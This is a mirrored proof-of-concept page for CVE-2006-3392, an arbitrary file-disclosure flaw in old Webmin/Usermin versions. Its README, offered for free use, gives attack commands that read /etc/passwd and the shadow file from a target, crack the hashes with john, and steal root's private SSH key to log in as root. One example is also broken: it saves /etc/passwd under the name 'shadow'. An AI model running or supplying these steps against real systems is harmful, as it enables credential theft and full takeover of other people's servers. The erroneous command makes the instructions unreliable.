Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2006-3392 PoC — Webmin/Usermin未明信息泄露漏洞

Source
Associated Vulnerability
Title:Webmin/Usermin未明信息泄露漏洞 (CVE-2006-3392)
Description:Webmin 1.290之前版本和Usermin 1.220之前版本在解码HTML之前调用simplify_path 函数,可以使远程攻击者读取任意文件,比如使用"..%01"序列,该序列可在从文件名中删除诸如"%01"等字节之前绕过"../" 序列的删除。注: 此漏洞不同于CVE-2006-3274。
Description
Webmin < 1.290 / Usermin < 1.220 - Arbitrary file disclosure
Readme
# CVE-2006-3392

https://www.cvedetails.com/cve/CVE-2006-3392/

Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.

### Usage
Browse any file in the filesystem with root privilege
```
./exploit.sh <target ip> <target port> <file to disclose>
```

### Examples
Browse passwd and shadow on 10.10.11.105, unshadow and crack the hashes
```
./exploit.sh 10.10.11.105 10000 /etc/passwd > passwd
./exploit.sh 10.10.11.105 10000 /etc/passwd > shadow
unshadow passwd shadow > unshadowed
john --wordlist=<your fave wordlist here> unshadowed
```
Browse private rsa key on 10.10.11.105
```
./exploit.sh 10.10.11.105 10000 /root/.ssh/id_rsa > private_key
chmod 600 ./private_key
ssh -i private_key root@10.10.11.105
```

### License
Feel free to use or modify whenever and wherever you like
File Snapshot

[4.0K] /data/pocs/198d09f5e69a4fb39f91b21c2b5d59f1ca78cb22 ├── [ 541] exploit.sh └── [1.1K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.